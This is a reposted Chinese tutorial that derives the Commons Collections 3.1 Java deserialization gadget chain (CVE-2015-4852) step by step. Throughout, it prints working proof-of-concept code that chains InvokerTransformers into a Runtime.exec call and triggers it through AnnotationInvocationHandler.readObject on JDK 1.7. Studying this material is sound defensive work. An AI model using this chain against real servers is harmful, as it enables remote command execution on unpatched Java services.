尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️
以下文章來源於雷神眾測 ,作者lala
No.1聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2前言
這是個人學習java反序列化的第一篇利用鏈的文章,就好像P牛說的不知道為什麼網上講到java反序列化學習,上來就是cc鏈,你知道這個鏈它有多複雜麼.jpg。萌新也是理所當然的踩了這個坑,然後…..在一路質疑自己智商和”我不服”的情況下趟了過去。
路難行,難行,總歸要走。
走來,回望去,呵,牛逼。
在此文中是以一個只了解java反射機制和反序列化利用點(readObject)的視角去一點點復現推導了commons-collections、jdk1.7的poc的構造。
同時記錄下了一個個踩的坑,再爬出來,再跳進去,再爬出來的歷程。
如果你具備了反射機制和反序列化基本原理的知識,同時想學習cc鏈的話,個人感覺是這篇文是再適合不過了。
那麼開始。
了解反射機制的話,我們會發現若存在一個固有的反射機制時,輸入可控,就可能形成任意函數調用的情況,具有極大的危害。
但實際上真的有存在這種情況:這就是commons-collections-3.1 jar包,cve編號:cve-2015-4852
在開始之前我們需要理一下反序列化漏洞的攻擊流程:
那麼以上大概可以分成三個主要部分:
No.3commons-collections-3.1
首先來看看commons-collections項目吧
官網第一段:
Java commons-collections是JDK 1.2中的一個主要新增部分。它添加了許多強大的數據結構,可以加速大多數重要Java應用程序的開發。從那時起,它已經成為Java中公認的集合處理標準。
展開全文
Apache Commons Collections是一個擴展了Java標準庫里的Collection結構的第三方基礎庫,它提供了很多強有力的數據結構類型並且做到了各種集合工具類。作為Apache開源項目的重要組件,Commons Collections被廣泛應用於各種Java應用的開發。
它是一個基礎數據結構包,同時封裝了很多功能,其中我們需要關注一個功能:
- Transforming decorators that alter each object as it is added to the collection
- 轉化裝飾器:修改每一個添加到collection中的object
Commons Collections做到了一個TransformedMap類,該類是對Java標準數據結構Map接口的一個擴展。該類可以在一個元素被加入到集合內時,自動對該元素進行特定的修飾變換,具體的變換邏輯由Transformer類定義,Transformer在TransformedMap實例化時作為參數傳入。
org.apache.commons.collections.Transformer這個類可以滿足固定的類型轉化需求,其轉化函數可以自定義做到,我們的漏洞觸發函數就是在於這個點。
漏洞復現需要下載3.1版本,進去尋覓一下源碼和jar包都有。
由於沒有找到漏洞版本3.1的api說明,我們可以參考3.2.2的api文檔
No.4POC->利用鏈
我們將通過調試POC得到漏洞利用鏈的調用棧,順便介紹一下各個類,再通過分析調用棧的函數,反推出POC來探究其中的利用原理。
我們先看一下網上的POC代碼,如下:
import org.apache.commons.collections.*;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class commons_collections_3_1 { public static void main(String args) throws Exception { //此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), new InvokerTransformer(“invoke”, new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
}; //將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers); //創建Map並綁定transformerChina
Map innerMap = new HashMap;
innerMap.put(“value”, “value”); //給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet.iterator.next; //outerMap後一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對數據格式
onlyElement.setValue(“foobar”);
}
}
好好看代碼的同學肯定會意識到,以上的poc其實只包括我總結三要素的payload和反序列化利用鏈兩者。
而關鍵的readObject復寫利用點沒有包含在內。事實確實如此。
這個poc的復寫利用點是sun.reflect.annotation.AnnotationInvocationHandler的readObject,但是我們先精簡代碼關注payload和利用鏈,最後再加上readObject復寫點。
調試以上POC,得到兩種調用棧:
漏洞鏈
Map.Entry其實就是鍵值對的數據格式,其setValue函數如下
AbstracInputCheckedMapDecorator.class
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);//進入此處
return super.entry.setValue(value);
}
TransformedMap是一種重寫map類型的set函數和Map.Entry類型的setValue函數去調用轉換鏈的Map類型。
TransformedMap.class
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value);//進入此處
}
由於TransformedMap具有commons_collections的轉變特性,當賦值一個鍵值對的時候會自動對輸入值進行預設的Transformer的調用。
ChainedTransformer.class:這里有一個
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { //循環進入此處,先進入1次ConstantTransformer.class,再3次InvokerTransformer.class
object = this.iTransformers[i].transform(object); //另外需要注意在數組的循環中,前一次transform函數的返回值,會作為下一次transform函數的object參數輸入。
} return object;
}
transform函數是一個接口函數,在上面的循環中進入了不同的函數。
先是1次ConstantTransformer.class
public Object transform(Object input) { return this.iConstant;
}
再是進入了InvokerTransformer.class,看到這個就會發現有點東西了。
public Object transform(Object input) { if (input == null) { return null;
} else { try { //獲取input對象的class
Class cls = input.getClass; //根據iMethodName、iParamTypes選擇cls中的一個方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //根據iArgs參數調用這個方法
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) { throw new FunctorException(“InvokerTransformer: The method ‘” + this.iMethodName + “‘ on ‘” + input.getClass + “‘ does not exist”);
} catch (IllegalAccessException var6) { throw new FunctorException(“InvokerTransformer: The method ‘” + this.iMethodName + “‘ on ‘” + input.getClass + “‘ cannot be accessed”);
} catch (InvocationTargetException var7) { throw new FunctorException(“InvokerTransformer: The method ‘” + this.iMethodName + “‘ on ‘” + input.getClass + “‘ threw an exception”, var7);
}
}
}
}
明顯的反射機制,可見InvokerTransformer就是我們的觸發任意代碼執行處,我們看看源碼中的文件描述:
先看看我們需要關注的InvokerTransformer類的描述(在jar包中是找不到描述信息的,可以通過下載官方源碼得到):
/**
* Transformer implementation that creates a new object instance by reflection.
*
通過反射機制創建一個新的對象實例的轉換器做到
我們可以這里有經典的反射機制調用,在細節分析前我們先整理一下調用棧,但不需要很理解。
Map.Entry 類型setValue(“foobar”)
=> AbstracInputCheckedMapDecorator.setValue
=> TransformedMap.checkSetValue
=> ChainedTransformer.transform(Object object)
根據數組,先進入 => ConstantTransformer.transform(Object input)
再進入 => InvokerTransformer.transform(Object input)
No.5重構POC
首先明確我們的最終目的是為了執行語句Runtime.getRuntime.exec(“calc.exe”);
- Runtime.getRuntime:獲取一個Runtime的實例
- exec:調用實例的exec函數
因為漏洞函數最後是通過反射機制調用任意這個語句先轉化成反射機制如下(後面需要用到):
至於如何構造反射機制的語句,參考往期文章java反射機制
Class.forName(“java.lang.Runtime”)
.getMethod(“exec”, String.class)
.invoke(
Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))//此處在獲取實例,”calc.exe”)
第一步 InvokerTransformer
再回看反射機制觸發函數InvokerTransformer類的transform(Object input)(做了簡化處理,只留取重點部分):
public Object transform(Object input) {
Class cls = input.getClass;
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
通過構造的反射機制以及以上代碼進行填空,可以得出當變量等於以下值時,可形成命令執行:
Object input=Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”));this.iMethodName=”exec”this.iParamTypes=String.classthis.iArgs=”calc.exe”
那麼在InvokerTransformer類源碼中我們可以找到賦值this.iMethodName,this.iParamTypes,this.iArgs的構造函數:
public InvokerTransformer(String methodName, Class paramTypes, Object args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args;
}
我們就可以構建以下測試代碼直接調用InvokerTransformer通過反射執行任意命令:下面開始試一下:
public static void main(String args) throws Exception { //通過構造函數,輸入對應格式的參數,對iMethodName、iParamTypes、iArgs進行賦值
InvokerTransformer a = new InvokerTransformer( “exec”, new Class{String.class}, new String{“calc.exe”}
); //構造input
Object input=Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)); //執行
a.transform(input);
}
在第二步之前
彈出了計算器!好像很厲害的樣子!然後我們來模擬一下利用場景:
- 為了方便,攻擊者受害者寫在同一函數中
- 使用文件寫入,代替網路傳輸
由於InvokerTransformer繼承了Serializable類,是可以成功序列化的
public static void main(String args) throws Exception { //模擬攻擊
//1.客戶端構造序列化payload,使用寫入文件模擬發包攻擊
InvokerTransformer a = new InvokerTransformer( “exec”, new Class{String.class}, new String{“calc.exe”});
FileOutputStream f = new FileOutputStream(“payload.bin”);
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(a); //2.服務端從文件中讀取payload模擬接受包,然後觸發漏洞
//服務端反序列化payload讀取
FileInputStream fi = new FileInputStream(“payload.bin”);
ObjectInputStream fin = new ObjectInputStream(fi); //神奇第一處:服務端需要自主構造惡意input
Object input=Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)); //神奇第二處:服務端需要將客戶端輸入反序列化成InvokerTransformer格式,並在服務端自主傳入惡意參數input
InvokerTransformer a_in = (InvokerTransformer) fin.readObject;
a_in.transform(input);
}
我們會發現如果我們要直接利用這個反射機製作為漏洞的話,需要服務端的開發人員:
實際上…..只有開發人員是自己人的情況下才滿足條件吧……
所以我們面臨一些問題:
這邊假如像預期這樣,是對服務端上下文沒有要求,因為只要執行readObject就肯定會命令執行,不需要其他上下文條件。
但是對於服務端版本環境是有要求的,之後會說到
那麼我們一個個來解決問題:首先使客戶端自定義paylaod!
第二步 ChainedTransformer
下面我們需要關注ChainedTransformer這個類,首先看一下這個類的描述:
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
將指定的轉換器連接在一起的轉化器做到。
輸入的對象將被傳遞到第一個轉化器,轉換結果將會輸入到第二個轉化器,並以此類推
可以知道他會把我們的Transformer變成一個串,再逐一執行,其中這個操作對應的就是ChainedTransformer類的transform函數
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
} return object;
}
這里會遍歷iTransformers數組,依次調用這個數組中每一個Transformer的transform,並串行傳遞執行結果。
首先確定iTransformers可控,iTransformers數組是通過ChainedTransformer類的構造函數賦值的:
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer transformers) { super;//這個super不清楚做了什麼,
iTransformers = transformers;
}
那麼我們知道可以自定義iTransformers的內容,我們已有條件如下:
//最終執行目標
Class.forName(“java.lang.Runtime”)
.getMethod(“exec”, String.class)
.invoke(
Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))//此處在獲取實例
, “calc.exe”
) //InvokeTransformer關鍵語句:
public Object transform(Object input) {
Class cls = input.getClass;
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
}
再看到InvokeTransformer代碼我們需要引出一個注意點:
這里我們需要注意到input.getClass這個方法使用上的一些區別:
- 當input是一個類的實例對象時,獲取到的是這個類
- 當input是一個類時,獲取到的是java.lang.Class
可以使用如下代碼驗證,這里不再贅述
Object a = Runtime.getRuntime;
Class b = Runtime.class;
System.out.println(a.getClass);
System.out.println(b.getClass); //結果
//class java.lang.Runtime
//class java.lang.Class
基於之前寫的代碼:
//只調用InvokeTransformer的情況如下:
InvokerTransformer a = new InvokerTransformer( “exec”, new Class{String.class}, new String{“calc.exe”});
Object input=Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”));
我們也可以知道input的為Runtime類的對象,所以cls就是Runtime類,所以cls.getMethod可以找到exec方法,直接進行調用。
先把a封裝成ChainedTransformer格式,但是payload還是在外面
//客戶端構造payload
Transformer transformers = new Transformer { new InvokerTransformer(“exec”,new Class{String.class},new String{“calc.exe”});
}
Transformer transformerChain = new ChainedTransformer(transformers); //服務端觸發所需內容
Object input=Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”));
transformerChain.transform(input);//此處必須為input,作為第一個輸入
把payload放入Transformer數組中,需要轉化成特定的Transformer格式才行。
第二點五步 ConstantTransformer -> Runtime實例序列化
我們找到ConstantTransformer類跟InvokkerTransformer一樣繼承Transforme父類,可以進入數組
顧名思義ConstantTransformer類其實就只會存放一個常量;它的構造函數會寫入這個變量,他的transform函數會返回這個變量。
把Runtime實例寫入這個變量:
Transformer transformers = new Transformer { //以下兩個語句等同,一個是通過反射機制得到,一個是直接調用得到Runtime實例
// new ConstantTransformer(Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))),
new ConstantTransformer(Runtime.getRuntime), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);//此處輸入可以為任意值,因為不會被使用到,相當於初始第一個輸入為我們設置的常量
以上代碼可以成功彈框執行!那麼我們模擬一下序列化與反序列化過程!
//客戶端構造payload
Transformer transformers = new Transformer { new ConstantTransformer(Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
};
Transformer transformerChain = new ChainedTransformer(transformers); //payload序列化寫入文件,模擬網路傳輸
FileOutputStream f = new FileOutputStream(“payload.bin”);
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain); //服務端反序列化payload讀取
FileInputStream fi = new FileInputStream(“payload.bin”);
ObjectInputStream fin = new ObjectInputStream(fi); //服務端反序列化成ChainedTransformer格式,並在服務端自主傳入惡意參數input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject;
transformerChain_now.transform(null);
但是很遺憾的告訴以為快要成功的你,成功的本地測試加上序列化、反序列化過程之後就會失敗。
因為Runtime類的定義沒有繼承Serializable類,所以是不支持反序列化的。
那麼我們在payload寫入Runtime實例的計劃就泡湯了。
第二點八步 在服務端生成Runtime實例
既然我們沒法在客戶端序列化寫入Runtime的實例,那就讓服務端執行我們的命令生成一個Runtime實例唄?
我們知道Runtime的實例是通過Runtime.getRuntime來獲取的,而InvokerTransformer里面的反射機制可以執行任意函數。
同時,我們已經成功執行過Runtime類里面的exec函數。講道理肯定是沒問題的.
我們先看getRuntiime方法的參數
public static Runtime getRuntime { return currentRuntime;
}
沒有參數,那就非常簡單了
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class),//得到Runtime class
//由於InvokerTransformer的構造函數要求傳入Class類型的參數類型,和Object類型的參數數值,所以封裝一下,下面也一樣
//上面傳入Runtime.class,調用Runtime class的getRuntime方法(由於是一個靜態方法,invoke調用靜態方法,傳入類即可)
new InvokerTransformer(“getRuntime”,new Class{},new Object{}), //上面Runtime.getRuntime得到了實例,作為這邊的輸入(invoke調用普通方法,需要傳入類的實例)
new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
在這里,之前自己陷入了一個很傻瓜的問題,即:InvokerTransformer類transform方法中return method.invoke這個語句
invoke調用到底return了什麼?
因為在這里形成了一個調用return的結果,再調用的鏈。為什麼就可以上一個輸出作為下一個輸入時,可以成功調用了呢?
一開始以為invoke會統一返回一個對象作為下一個輸入什麼的,並且在調試的時候每次invoke的結果都不一樣,源碼看的頭暈。
實際上是鑽了死胡同:invoke的return是根據被調用的函數return什麼,invoke就return什麼。
就好比我invoke一個我自定義的方法a,在a中,我return了字符串”1″。那麼就是invoke的結果就是字符串”1″。
看以上的過程就是第一次Runtime.getRuntime的結果輸入了下一個InvokerTransformer
以上感覺是萬事大吉了!但是實際上並不是…
回想之前對於InvokerTransformer中Class cls = input.getClass;的解釋
- 這里我們需要注意到input.getClass這個方法使用上的一些區別:
- 當input是一個類的實例對象時,獲取到的是這個類
當input是一個類時,獲取到的是java.lang.Class
我們來推演第一次InvokerTransformer的反射調用,即得到Runtime類對象的getRuntime方法調用:
//InvokeTransformer關鍵語句:
public Object transform(Object input) {//input為我們設置的常量Runtime.class
Class cls = input.getClass;//!!!這里由於input是一個類,會得到java.lang.Class
//在java.lang.Class類中去尋找getRuntime方法企圖得到Runtime類對象,此處報錯!!
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
}
那麼我們好像陷入了一個死胡同:
得到Runtime類實例才能調用exec方法。
而得到Runtime類實例作為input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime類實例………
…………………非常的尷尬…………………..
第二點九步 還是反射機制
那麼我們通過直接調用Runtime.getRuntime方法好像是行不通了,有沒有其他方法呢?
還是反射機制
已知:
具體變化細節,我選擇把它放在反射機制一文中說明,這邊給出結果。
我們的最終目的是執行
Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)
先來獲取getRuntime類
//目標語句Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”)//使用java.lang.Class開頭Class.forName(“java.lang.Class”).getMethod(“getMethod”, new Class {String.class, Class.class })
.invoke(Class.forName(“java.lang.Runtime”),”getRuntime”,new Class[0]); //invoke函數的第一個參數是Runtime類,我們需要在Runtime類中去執行getMethod,獲取getRuntime參數
對照著InvokerTransformer類轉變為transformers格式
Class cls = input.getClass;//cls = java.lang.ClassMethod method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,並返回這個方法
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), //還需要填充 調用getRuntime得到Runtime實例,
new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
};
還差執行獲取到的getRuntime,下一個input是上一個執行接口,繼續對照
//input=getRuntime這個方法Class cls = input.getClass;//cls = java.lang.Method(getRuntime方法是method類)Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method類中找到invoke方法,method=invoke方法return method.invoke(input, this.iArgs); //調用invoke方法,input=getRuntime這個方法,傳入自定義的參數
以上最後一步有點複雜,method就是invoke方法,相當於使用invoke調用了invoke函數。首先this.iMethodName, this.iParamTypes是根據invoke接口而定的:
public Object invoke(Object obj, Object… args)//this.iMethodName=”invoke”https://this.iParamTypes=new Class {Object.class, Object.class }//外面class、Object封裝是InvokerTransformer類的構造函數要求
按照invoke中的input才是它要調用的環境的準則。
invoke方法.invoke(input, this.iArgs)實際上等於input.invoke(this.iArgs),
而input=getRuntime方法,那麼只要填入this.iArgs就好了
又由於getRuntime是個靜態函數,不用太糾結輸入obj,寫作null。getRuntime方法不需要參數。
this.iArgs=null,new Object[0]
那麼整合就如下:
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), new InvokerTransformer(“invoke”, new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
};
以上代碼其實就是等同於
((Runtime)Runtime.class.getMethod(“getMethod”,null).invoke(null,null)).exec(“calc.exe”);
我們籠統的來理解,實際就是如下(這里偷一張orleven的圖):
總體上來說:利用了反射機制調用反射機制的函數,繞過了開頭cls只能為java.lang.Class的限制,根據具體環境input環環相扣,特麼竟然恰好就通了
….非常的微妙….
第三步 TransformedMap
那麼我們在第二步通過ConstantTransformer、ChainedTransformer就完成了payload在客戶端自定義這一目標,我們看一下目前的攻擊流程
public class commons_collections_3_1 { public static void main(String args) throws Exception { //1.客戶端構建攻擊代碼
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), new InvokerTransformer(“invoke”, new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
}; //將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers); //payload序列化寫入文件,模擬網路傳輸
FileOutputStream f = new FileOutputStream(“payload.bin”);
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain); //2.服務端讀取文件,反序列化,模擬網路傳輸
FileInputStream fi = new FileInputStream(“payload.bin”);
ObjectInputStream fin = new ObjectInputStream(fi); //服務端反序列化成ChainedTransformer格式,再調用transform函數
Transformer transformerChain_now = (ChainedTransformer) fin.readObject;
transformerChain_now.transform(null);
}
}
完成命令執行服務端執行如下操作:
轉變的類型是一個數據轉化鏈數據格式,很明顯服務端不可能存在這種代碼,利用價值不足,接下來我們需要繼續延長這個漏洞鏈。
封裝成Map
由於我們得到的是ChainedTransformer,一個轉換鏈,TransformedMap類提供將map和轉換鏈綁定的構造函數,只需要添加數據至map中就會自動調用這個轉換鏈執行payload。
這樣我們就可以把觸發條件從顯性的調用轉換鏈的transform函數延伸到修改map的值。很明顯後者是一個常規操作,極有可能被觸發。
TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);
}
try一下:
public static void main(String args) throws Exception { //1.客戶端構建攻擊代碼
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), new InvokerTransformer(“invoke”, new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
}; //將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers); //創建Map並綁定transformerChina
Map innerMap = new HashMap;
innerMap.put(“value”, “value”); //給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //payload序列化寫入文件,模擬網路傳輸
FileOutputStream f = new FileOutputStream(“payload.bin”);
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap); //2.服務端接受反序列化,出發漏洞
//讀取文件,反序列化,模擬網路傳輸
FileInputStream fi = new FileInputStream(“payload.bin”);
ObjectInputStream fin = new ObjectInputStream(fi); //服務端反序列化成Map格式,再調用transform函數
Map outerMap_now = (Map)fin.readObject; //2.1可以直接map添加新值,觸發漏洞
//outerMap_now.put(“123”, “123”);
//2.2也可以獲取map鍵值對,修改value,value為value,foobar,觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet.iterator.next;
onlyElement.setValue(“foobar”);
}
親測有效
第四步 jdk1.7 AnnotationInvocationHandler的readObject復寫點
上面的漏洞觸發條件仍然不夠完美,需要服務端把我們傳入的序列化內容反序列化為map,並對值進行修改。
之前也說過完美的反序列化漏洞還需要一個readobject復寫點,使只要服務端執行了readObject函數就等於命令執行。
在jdk1.7中就存在一個完美的readobject復寫點的類sun.reflect.annotation.AnnotationInvocationHandler。
我們先看他的構造函數
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class var3 = var1.getInterfaces; if (var1.isAnnotation && var3.length == 1 && var3[0] == Annotation.class) {//var1滿足這個if條件時
this.type = var1;//傳入的var1到this.type
this.memberValues = var2;//我們的map傳入this.memberValues
} else { throw new AnnotationFormatError(“Attempt to create proxy for a non-annotation type.”);
}
}
readobject復寫函數:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { //默認反序列化
var1.defaultReadObject;
AnnotationType var2 = null; try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) { throw new InvalidObjectException(“Non-annotation type in annotation serial stream”);
}
Map var3 = var2.memberTypes;//
Iterator var4 = this.memberValues.entrySet.iterator;//獲取我們構造map的迭代器
while(var4.hasNext) {
Entry var5 = (Entry)var4.next;//遍歷map迭代器
String var6 = (String)var5.getKey;//獲取key的名稱
Class var7 = (Class)var3.get(var6);//獲取var2中相應key的class類?這邊具體var3是什麼個含義不太懂,但是肯定var7、8兩者不一樣
if (var7 != null) {
Object var8 = var5.getValue;//獲取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //兩者類型不一致,給var5賦值!!具體賦值什麼已經不關鍵了!只要賦值了就代表執行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass + “[” + var8 + “]”)).setMember((Method)var2.members.get(var6)));
}
}
}
}
}
雖然相對於這個類具體做什麼,實在是沒有精力去搞清楚了,但是它最終對於我們傳入構造函數的map進行遍歷賦值。
這樣就彌補了我們之前反序列化需要服務端存在一些條件的不足,形成完美反序列化攻擊。
最終模擬攻擊代碼
public static void main(String args) throws Exception { //1.客戶端構建攻擊代碼
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class {String.class, Class.class }, new Object {“getRuntime”, new Class[0] }), new InvokerTransformer(“invoke”, new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTransformer(“exec”, new Class {String.class }, new Object {“calc.exe”})
}; //將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers); //創建Map並綁定transformerChina
Map innerMap = new HashMap;
innerMap.put(“value”, “value”); //給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //反射機制調用AnnotationInvocationHandler類的構造函數
Class cl = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消構造函數修飾符限制
ctor.setAccessible(true); //獲取AnnotationInvocationHandler類實例
Object instance = ctor.newInstance(Target.class, outerMap); //payload序列化寫入文件,模擬網路傳輸
FileOutputStream f = new FileOutputStream(“payload.bin”);
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance); //2.服務端讀取文件,反序列化,模擬網路傳輸
FileInputStream fi = new FileInputStream(“payload.bin”);
ObjectInputStream fin = new ObjectInputStream(fi); //服務端反序列化
fin.readObject;
}
成功
至此,我們在客戶端構造了payload發送至服務端,
只要服務端
就可以直接完成命令執行,完美!
jdk1.8為什麼不行呢
那麼jdk1.8為什麼不行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject復寫點:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields;
Class var3 = (Class)var2.get(“type”, (Object)null);
Map var4 = (Map)var2.get(“memberValues”, (Object)null);
AnnotationType var5 = null; try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) { throw new InvalidObjectException(“Non-annotation type in annotation serial stream”);
}
Map var6 = var5.memberTypes;
LinkedHashMap var7 = new LinkedHashMap;
String var10;
Object var11; for(Iterator var8 = var4.entrySet.iterator; var8.hasNext; var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next;
var10 = (String)var9.getKey;
var11 = null;
Class var12 = (Class)var6.get(var10); if (var12 != null) {
var11 = var9.getValue; if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { //很傷心的,沒有了map賦值語句
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass + “[” + var11 + “]”)).setMember((Method)var5.members.get(var10));
}
}
}
因為這個函數出現了變動,不再有賦值語句,所以觸發不了漏洞。
No.6寫在後面
至此我們就完成common-collection 3.1版本 jdk1.7版本下的POC復現和利用鏈分析。
當然還有common-collection 不同組件版本,不同環境下poc和利用鏈均有不同,在ysoserial下就有7,8中利用方式。
還可以通過rmi模式進行利用等。
但是由於這篇博客寫的太長了,思路也一直斷斷續續,其他內容之後再陸續學習分析吧~
No.7修復意見
commons-collections組件版本 升級至官方最新版本